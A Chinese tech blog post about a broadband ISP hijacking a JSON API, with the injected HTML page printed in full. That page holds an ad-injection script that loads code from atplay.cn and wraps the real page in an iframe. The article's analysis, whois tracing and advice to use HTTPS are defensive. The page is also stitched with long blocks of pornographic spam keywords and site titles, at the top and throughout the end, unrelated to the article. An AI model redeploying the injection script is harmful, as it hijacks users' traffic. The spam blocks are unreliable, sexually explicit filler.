精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

運營商劫持狠起來,連Json都改

網絡 通信技術
運營商劫持,是常見的流氓手段,它們老少通吃,連孩子都不放過,經常囂張的在右下角或者網頁頭尾,彈出一些羞羞的廣告。這讓正在輔導孩子功課的媽媽,很難解釋。

 運營商劫持,是常見的流氓手段,它們老少通吃,連孩子都不放過,經常囂張的在右下角或者網頁頭尾,彈出一些羞羞的廣告。這讓正在輔導孩子功課的媽媽,很難解釋。

[[280817]]

一、前言

一道經典面試題:當你輸入一個網址后回車,實際會發生什么?

那得看輸的啥網址,淘寶剁手、百度傷身、騰訊傷腎……

二、神秘的返回

那日風和日麗、萬里無云,延遲退到不足50ms,是個散養爬蟲的好日子~

 

與往常相同,一通風騷操作,數據便如百川入海般成功落庫。剛想泡杯咖啡,瞧瞧久違的天空,一道綿長的報錯信息就宛如拉稀般潑向屏幕!

草(一種植物),莫不是被發現了?趕緊看看

 

草!(一種強大植物) 。這是個啥?原以為會返回異常狀態碼,或者錯誤json,再不濟是偽數據,沒想到連數據格式都改了,整了一HTML丟過來?

可這接口,明明都是json。

喝口白水想安撫下結果燙了嘴……思前想后。產品光喝酒不吃菜也不能下這需求,再說我這小蚊子不至于拿炮轟吧。

一定 有!——問!——題!

暴起撈日志,查看頻率。大約10道請求有一道異常,于是順手拿到全部HTML代碼。讓我們學習一下…

  1. <html> 
  2.   <head> 
  3.     <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
  4.     <meta id="viewport" name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"
  5.   </head> 
  6.   <script> 
  7.     window["$$$wins_pm"] = { 
  8.         "a""https://atplay.cn/banner/indexsd.aspx"
  9.         "m""http://baidu.com/"
  10.         "_xus""YBsOw1mgMPSOdBFpMBFjYBQjMZSjMBsXM3gO"
  11.         "_xai""0" 
  12.     }; 
  13.  
  14.     var xp=null,key="d=123",lo=location.href,ho=false
  15.     function cu(u){ 
  16.         var p=u.indexOf("?"); 
  17.         if(p>0) 
  18.             u=u.slice(0,p+1)+key+"&"+u.slice(p+1); 
  19.         else 
  20.             u+="?"+key
  21.         return u; 
  22.  
  23.     } 
  24.  
  25.     function Base64() { 
  26.         _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
  27.         this.encode = function(input) { 
  28.             var output = ""
  29.             var chr1, chr2, chr3, enc1, enc2, enc3, enc4; 
  30.             var i = 0; 
  31.             input = _utf8_encode(input); 
  32.             while (i < input.length) { 
  33.                 chr1 = input.charCodeAt(i++); 
  34.                 chr2 = input.charCodeAt(i++); 
  35.                 chr3 = input.charCodeAt(i++); 
  36.                 enc1 = chr1 >> 2; 
  37.                 enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); 
  38.                 enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); 
  39.                 enc4 = chr3 & 63; 
  40.                 if (isNaN(chr2)) { 
  41.                     enc3 = enc4 = 64 
  42.                 } else if (isNaN(chr3)) { 
  43.                     enc4 = 64 
  44.                 } 
  45.                 output = output + _keyStr.charAt(enc1) + _keyStr.charAt(enc2) + _keyStr.charAt(enc3) + _keyStr.charAt(enc4) 
  46.             } 
  47.             return output 
  48.         }; 
  49.         this.decode = function(input) { 
  50.             var output = ""
  51.             var chr1, chr2, chr3; 
  52.             var enc1, enc2, enc3, enc4; 
  53.             var i = 0; 
  54.             input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); 
  55.             while (i < input.length) { 
  56.                 enc1 = _keyStr.indexOf(input.charAt(i++)); 
  57.                 enc2 = _keyStr.indexOf(input.charAt(i++)); 
  58.                 enc3 = _keyStr.indexOf(input.charAt(i++)); 
  59.                 enc4 = _keyStr.indexOf(input.charAt(i++)); 
  60.                 chr1 = (enc1 << 2) | (enc2 >> 4); 
  61.                 chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); 
  62.                 chr3 = ((enc3 & 3) << 6) | enc4; 
  63.                 output = output + String.fromCharCode(chr1); 
  64.                 if (enc3 != 64) { 
  65.                     output = output + String.fromCharCode(chr2) 
  66.                 } 
  67.                 if (enc4 != 64) { 
  68.                     output = output + String.fromCharCode(chr3) 
  69.                 } 
  70.             } 
  71.             output = _utf8_decode(output); 
  72.             return output 
  73.         }; 
  74.         _utf8_encode = function(string) { 
  75.             string = string.replace(/\r\n/g, "\n"); 
  76.             var utftext = ""
  77.             for (var n = 0; n < string.length; n++) { 
  78.                 var c = string.charCodeAt(n); 
  79.                 if (c < 128) { 
  80.                     utftext += String.fromCharCode(c) 
  81.                 } else if ((c > 127) && (c < 2048)) { 
  82.                     utftext += String.fromCharCode((c >> 6) | 192); 
  83.                     utftext += String.fromCharCode((c & 63) | 128) 
  84.                 } else { 
  85.                     utftext += String.fromCharCode((c >> 12) | 224); 
  86.                     utftext += String.fromCharCode(((c >> 6) & 63) | 128); 
  87.                     utftext += String.fromCharCode((c & 63) | 128) 
  88.                 } 
  89.             } 
  90.             return utftext 
  91.         }; 
  92.         _utf8_decode = function(utftext) { 
  93.             var string = ""
  94.             var i = 0; 
  95.             var c = c1 = c2 = 0; 
  96.             while (i < utftext.length) { 
  97.                 c = utftext.charCodeAt(i); 
  98.                 if (c < 128) { 
  99.                     string += String.fromCharCode(c); 
  100.                     i++ 
  101.                 } else if ((c > 191) && (c < 224)) { 
  102.                     c2 = utftext.charCodeAt(i + 1); 
  103.                     string += String.fromCharCode(((c & 31) << 6) | (c2 & 63)); 
  104.                     i += 2 
  105.                 } else { 
  106.                     c2 = utftext.charCodeAt(i + 1); 
  107.                     c3 = utftext.charCodeAt(i + 2); 
  108.                     string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63)); 
  109.                     i += 3 
  110.                 } 
  111.             } 
  112.             return string 
  113.         } 
  114.     } 
  115.     window["__BASE64"] = new Base64(); 
  116.  
  117.     function getURLwithParams() { 
  118.         var url = ""
  119.         if ($$$wins_pm.a.indexOf('?') > 0) { 
  120.             url = $$$wins_pm.a + "&_us=" + $$$wins_pm._xus + "&_su=" + __BASE64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai; 
  121.         } else { 
  122.             url = $$$wins_pm.a + "?_us=" + $$$wins_pm._xus + "&_su=" + __BASE64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai; 
  123.         } 
  124.         return url; 
  125.     } 
  126.     function goURLm() { 
  127.         var desturl = $$$wins_pm.m; 
  128.         if (desturl.slice(desturl.length - 1) == "/") desturl = desturl.slice(0, desturl.length - 1); 
  129.         return "<html></head><script>document.location.replace(\"" + desturl + "\");<\/script><\/html>" 
  130.     }; 
  131.     </script> 
  132.   <body style="margin:0;padding:0;"
  133.     <!--<div style="display: none;"><script src="https://s6.cnzz.com/z_stat.php?id=722749&web_id=722749" language="JavaScript"></script></div>--> 
  134.     <script type="text/javascript" src="https://atplay.cn/banner/indexsd.js"></script> 
  135.     <div style="width:100%;height:100%;-webkit-overflow-scrolling:touch;overflow-y:scroll;"
  136.     <iframe id='ifrmain' src='JavaScript:parent.goURLm()' scrolling=auto  width='100%'  height='100%' frameborder='no' onload=''></iframe> 
  137.     </div> 
  138. </body> 
  139. </html> 

 

三、真相大白

淦!真相大白,這糟爛的代碼絕不是爬蟲的菜,連地溝油都算不上啊!看這尿性八成是寬帶運營商的手筆,之前訪問個baidu都被套個iframe。但咱是萬萬沒想到啊,這次饑不擇食的連json接口都不放過,還改的這么大,粗,硬!

這就相當于剛出機場想打車到景點,結果上的是一黑車啊,拉著吃飯桑拿大寶劍,掏空錢包就拍地上!

既然確定是黑車,那索性就順勢調起這條傻魚。先看看效果——

 

呵,呵呵,呵呵呵。。。。不出所料。

忍著膈應翻代碼,找到域名,丟whois

 

拿到公司名,丟百度、天眼查,企查查。。。是它,是它沒跑了

 

四、結果?

這種手段,沒有寬帶運營商狼狽為奸,通常是無法完成的。目前家里一條X信,一條X動,經反復測試,只有X動線會出這個問題。。。那事情就很簡單了

工!信!部!投!訴!

坐標:https://dxss.miit.gov.cn/

 

 

 

 

風波過去又是睛空萬里,但這——恐怕永遠不會是最后一次。

五、我的網站該怎么辦?

你搞一下劫持,無可厚非,畢竟土壤就是這樣。但是你寫的這劫持bot也太傻了吧,連json格式都搞,讓人家開公司的如何是好。要知道,現在很多服務,都沒有網頁端了,劫持程序該升下級了。

曾幾何時,我們的網站,還都是http,這是劫持的最愛。應對的方式,就是全面升級為https,加大劫持難度,保護用戶,也保護自己。

作者簡介:小姐姐味道 (xjjdog),一個不允許程序員走彎路的公眾號。聚焦基礎架構和Linux。十年架構,日百億流量,與你探討高并發世界,給你不一樣的味道。我的個人微信xjjdog0,歡迎添加好友,進一步交流。

責任編輯:武曉燕 來源: 小姐姐味道
相關推薦

2017-01-09 14:17:07

互聯網

2018-04-10 04:58:27

5G運營商網絡

2018-10-08 13:41:01

運營商通信網絡攜號轉網

2016-10-17 19:41:49

2013-02-25 10:53:10

運營商Firefox OS

2014-02-19 11:16:52

虛擬運營商

2018-03-13 06:45:20

2015-07-23 14:01:07

SDN運營商

2009-03-24 10:24:00

GPON運營商光纖接入

2014-10-14 15:53:46

運營商SDN

2018-01-02 11:37:54

2020-12-11 18:49:48

DoHODoH運營商

2014-02-19 10:18:45

虛擬運營商

2011-08-30 09:29:45

云計算移動醫療

2009-03-10 09:42:15

4G融合部署

2021-12-01 08:45:22

元宇宙VR運營商

2012-04-05 13:42:02

2018-10-15 11:17:24

運營商低價中標寬帶網絡

2017-11-21 13:55:16

運營商NFV虛擬化網絡

2021-06-24 09:55:53

運營商中國電信中國移動
點贊
收藏

51CTO技術棧公眾號

久久精品国产69国产精品亚洲| 亚洲九九精品| 在线观看视频欧美| 一区二区高清视频| 精品久久久久中文慕人妻| 国产综合视频| 中文字幕久久久av一区| 日本少妇xxx| 日本不良网站在线观看| 中文字幕av资源一区| 成人免费91在线看| 无码人妻精品一区二区50| 91精品久久久久久久久久不卡| 精品成a人在线观看| 欧美污视频网站| 黄网站免费在线播放| 国产成人8x视频一区二区| 国产91免费看片| 69av.com| 国产一区二区亚洲| 亚洲а∨天堂久久精品喷水| 手机在线免费观看毛片| 182在线视频观看| 国产精品国产三级国产三级人妇 | 中文字幕乱码一区二区三区| 蜜桃在线一区二区| 精油按摩中文字幕久久| 日韩免费观看高清| 日韩黄色a级片| 在线国产一区| www.午夜精品| 精品成人无码一区二区三区| 国产精东传媒成人av电影| 欧美绝品在线观看成人午夜影视| 亚洲国产精品久久久久婷蜜芽| 尤物yw193can在线观看| 国产精品每日更新| 日韩欧美精品久久| 视频在线不卡| av在线一区二区| 超碰97在线资源| 97人妻精品一区二区三区动漫| 日日摸夜夜添夜夜添亚洲女人| 久久免费国产视频| 久久久久噜噜噜亚洲熟女综合| 91视频久久| 中文字幕久久久av一区| 婷婷色一区二区三区| 美女少妇全过程你懂的久久| 亚洲国产精品99久久| 97精品在线视频| 免费观看国产精品视频| 日本三级韩国三级欧美三级| 亚洲丝袜另类动漫二区| 在线不卡视频一区二区| 在线国产情侣| 中文字幕av不卡| 亚洲精美视频| 欧美成人hd| 日韩美女久久久| 麻豆传媒网站在线观看| av理论在线观看| 夜夜嗨av一区二区三区四季av| 强开小嫩苞一区二区三区网站| 99视频免费在线观看| 一区二区三区四区乱视频| 免费一级淫片aaa片毛片a级| 七七成人影院| 精品久久久久国产| 草草草在线视频| 黄色成人小视频| 欧美性受极品xxxx喷水| 九九热精品国产| 欧美第一在线视频| 亚洲国产精品久久久久久| 添女人荫蒂视频| 欧美日韩看看2015永久免费| 亚洲色图第三页| 日本男女交配视频| 国产九九九视频| 一区二区三区伦理| 亚洲综合一区二区| 日韩精品xxxx| 午夜av成人| 在线成人av网站| 国产精品九九视频| 欧美日韩中字| 日韩一区二区在线视频| 美国一级片在线观看| 婷婷亚洲最大| 久久久人成影片一区二区三区| 日本熟妇毛耸耸xxxxxx| 日韩avvvv在线播放| 国产欧美日韩高清| www夜片内射视频日韩精品成人| 成人性生交大片免费看中文 | 精品国产乱子伦| 久久精品国产99| 国产精品国模大尺度私拍| 深夜福利视频在线免费观看| 欧美激情一区三区| 麻豆一区二区三区在线观看| 久草在线资源站手机版| 欧美在线观看一二区| 三级黄色片免费看| 色综合中文网| 欧美高清自拍一区| 中文字幕91爱爱| 99免费精品视频| 美国av在线播放| 345成人影院| 欧美一区二区国产| 一区二区三区久久久久| 黄色亚洲在线| 成人黄色av播放免费| 欧洲视频在线免费观看| 亚洲日本在线看| av无码精品一区二区三区| 在线综合色站| 日韩在线观看免费高清| 天堂а√在线中文在线新版| 精品一区二区三区香蕉蜜桃| 免费成人av网站| 欧美理论片在线播放| 欧美日韩在线不卡| 国精产品一区一区三区免费视频| 欧美成人精品| 成人激情视频小说免费下载| 黄色一级大片在线免费看国产| 国产精品毛片a∨一区二区三区| 男人日女人视频网站| 久久丁香四色| 久久久99久久精品女同性| 中文字幕xxxx| 久久嫩草精品久久久久| 91动漫在线看| 亚洲高清在线一区| 久久久av一区| 一级片在线观看视频| 国产欧美日韩在线视频| 日韩精品一区二区三区久久| av日韩精品| 欧美国产日韩xxxxx| 99久久国产热无码精品免费| 国产精品麻豆久久久| 中文字幕一区二区三区四区在线视频| 少妇精品导航| 欧美在线视频免费播放| 天堂在线中文资源| 婷婷国产在线综合| 91视频啊啊啊| 免费日韩一区二区| 欧美亚洲一级二级| 色一区二区三区| 日韩经典中文字幕| 亚洲 欧美 日韩 综合| 91在线观看下载| 日日碰狠狠添天天爽超碰97| 免费看久久久| 日本精品久久电影| 久久经典视频| 欧美性猛交xxxx黑人交| 秋霞网一区二区三区| 老鸭窝一区二区久久精品| 自拍另类欧美| 日韩精品中文字幕吗一区二区| 欧美日韩国产成人在线| 韩国av电影在线观看| 精品色蜜蜜精品视频在线观看| 久久久久亚洲AV成人无码国产| 国产欧美日韩综合一区在线播放 | 51久久精品夜色国产麻豆| 天天影院图片亚洲| 欧美三级一区二区| 精品人妻伦九区久久aaa片| 国产成人av电影在线播放| 国产69精品久久久久久久| 偷拍自拍一区| 国产美女精品免费电影| jizz性欧美10| 亚洲激情电影中文字幕| 欧美午夜精品免费| 人偷久久久久久久偷女厕| 国产福利片在线观看| 日韩av在线影院| 波多野结衣啪啪| 一区在线观看视频| 久久久久亚洲av成人网人人软件| 亚洲精品日本| 一区二区三区久久网| 日韩精品一区二区三区中文在线 | 激情网站在线| 久久精品视频在线免费观看| 亚洲欧美一区二区激情| www.久久精品视频| 亚洲美女屁股眼交3| 午夜男人的天堂| 免费高清视频精品| 精品一区二区三区无码视频| 国产精品午夜一区二区三区| 91久久在线播放| 亚洲精品日产| 美女视频黄免费的亚洲男人天堂| 欧洲亚洲在线| 日韩欧美的一区二区| 伊人久久中文字幕| 亚洲综合色成人| 美国一级黄色录像| av网站免费线看精品| 亚洲精品自拍网| 国产手机视频一区二区| 欧美 日韩 国产 在线观看| 亚洲制服一区| 国产精品国模大尺度私拍| 欧美视频精品| 国产成人精品综合久久久| 国产盗摄在线视频网站| 色偷偷亚洲男人天堂| 青青草超碰在线| 亚洲成人xxx| 国产乱人乱偷精品视频a人人澡| 欧美性生交xxxxxdddd| 好吊色视频在线观看| 欧美国产日韩在线观看| 亚洲中文字幕一区| 国产91丝袜在线观看| 亚洲这里只有精品| 日本欧美一区二区在线观看| 亚洲国产精品久久久久婷蜜芽| 欧美日韩精品| 色乱码一区二区三区熟女| 九九热精品视频在线观看| 国产亚洲欧美一区二区三区| 精品国产乱子伦| 国产在线欧美| 四虎精品欧美一区二区免费| 日韩在线看片| 日韩欧美一区二区三区四区五区 | jizzjizzjizz国产| 国产欧美日韩视频在线观看| 国产制服丝袜在线| 99re成人在线| av无码av天天av天天爽| 成人av免费网站| 人妻av一区二区| 成人av高清在线| 亚洲调教欧美在线| 91影院在线观看| 一二三不卡视频| 久久久亚洲综合| 国产精成人品免费观看| 国产亚洲成av人在线观看导航| 91网站免费入口| 国产欧美日韩精品一区| 性少妇xx生活| 中文字幕一区二区三区四区不卡 | 亚洲综合男人的天堂| 全网免费在线播放视频入口| 亚洲免费色视频| 欧美成人免费看| 亚洲一区二区三区精品在线| 久久久精品视频在线| 亚洲国产精品久久久久秋霞影院| 动漫精品一区一码二码三码四码| 亚洲国产一区视频| 欧美亚洲精品天堂| 色先锋资源久久综合| 欧美视频xxxx| 91精品国产丝袜白色高跟鞋| 国产欧美熟妇另类久久久| 欧美一区二区三区免费观看视频| www.黄色小说.com| 精品亚洲男同gayvideo网站| 韩国免费在线视频| 久久精品99久久久久久久久| av毛片在线看| 2018日韩中文字幕| 亚洲精品一区三区三区在线观看| 国产精品免费在线免费 | 日本污视频网站| 亚洲欧洲无码一区二区三区| 欧美成人精品欧美一级私黄| 偷窥少妇高潮呻吟av久久免费| 日日夜夜操视频| 日韩亚洲欧美综合| 天堂成人在线| 久久久电影免费观看完整版| av中文字幕在线观看第一页 | 久久久成人精品视频| 96av在线| 国产精品自产拍在线观| 综合伊人久久| 日韩av一级大片| 午夜亚洲福利| 网站一区二区三区| 成人激情小说网站| 日本不卡一区视频| 亚洲一区二区三区在线播放| 日韩免费av网站| 精品日韩一区二区三区免费视频| 国产一级免费在线观看| 欧美成人精品在线播放| 伊人色综合一区二区三区影院视频| 成人a视频在线观看| 任你弄精品视频免费观看| 天天成人综合网| 久久av一区二区三区| 男男受被啪到高潮自述| 欧美国产精品一区二区三区| 国产主播在线观看| 四虎884aa成人精品最新| 日本sm极度另类视频| 国产精久久一区二区| 欧美大陆一区二区| 欧美日韩国产成人精品| 国产精品视频黄色| 99天天综合性| 欧美交换国产一区内射| 欧美日韩免费在线视频| 日本亚洲欧美| 欧美高清视频在线| **日韩最新| 亚洲a∨一区二区三区| 国产精品久久久久久久免费软件| 久草福利在线观看| 亚洲婷婷在线视频| 在线观看国产成人| 国产亚洲精品美女| 亚洲免费福利| 久久精精品视频| 一区二区三区国产在线| 美女搡bbb又爽又猛又黄www| 亚洲丝袜自拍清纯另类| 在线观看国产成人| 色偷偷888欧美精品久久久| 老司机2019福利精品视频导航| 极品校花啪啪激情久久| 在线播放亚洲| 日本道中文字幕| 亚洲一区在线观看网站| av中文在线观看| 日韩一区二区三区在线播放| 香蕉成人影院| 色爱区成人综合网| 日本vs亚洲vs韩国一区三区| 在线不卡av电影| 色婷婷香蕉在线一区二区| 欧美视频综合| 国产成人精品视频在线| 91成人国产综合久久精品| 国产精品毛片大码女人| 一级黄在线观看| 久久久国产一区二区三区| 不卡精品视频| 大片在线观看网站免费收看| 国产最新精品免费| 欧美黄色aaa| 欧美大胆人体bbbb| a级片免费在线观看| 精品视频一区二区| 免费看黄裸体一级大秀欧美| 亚洲av无码国产精品麻豆天美| 色噜噜狠狠成人网p站| 国产二区在线播放| 国产中文欧美精品| 欧美日韩久久| 国产在线不卡av| 91久久一区二区| 免费人成在线观看播放视频| 91亚洲va在线va天堂va国| 欧美一区二区三区久久精品茉莉花 | 欧美激情黑人| 亚洲最大福利视频网| 亚洲国产裸拍裸体视频在线观看乱了中文 | 久久久成人av毛片免费观看| 亚洲精品中文字幕在线| 国内精品视频666| 国产主播在线播放| 国产午夜精品一区理论片飘花| 图片一区二区| 国产精品久久久久7777| 91视频在线看| 中文字幕无线码一区| 欧美日韩999| 杨幂一区二区三区免费看视频| 尤物国产在线观看| 亚洲午夜久久久久久久久电影网| 香蕉视频网站在线| 精品久久久久久亚洲精品| 69视频免费看| 欧美巨乳美女视频| 亚洲女娇小黑人粗硬| 亚洲a级黄色片| 黄色精品在线看| 欧美成人xxx| 欧美激情第六页| 国产高清无密码一区二区三区| 日韩精品久久久久久免费| 美女av一区二区| 精品国产不卡|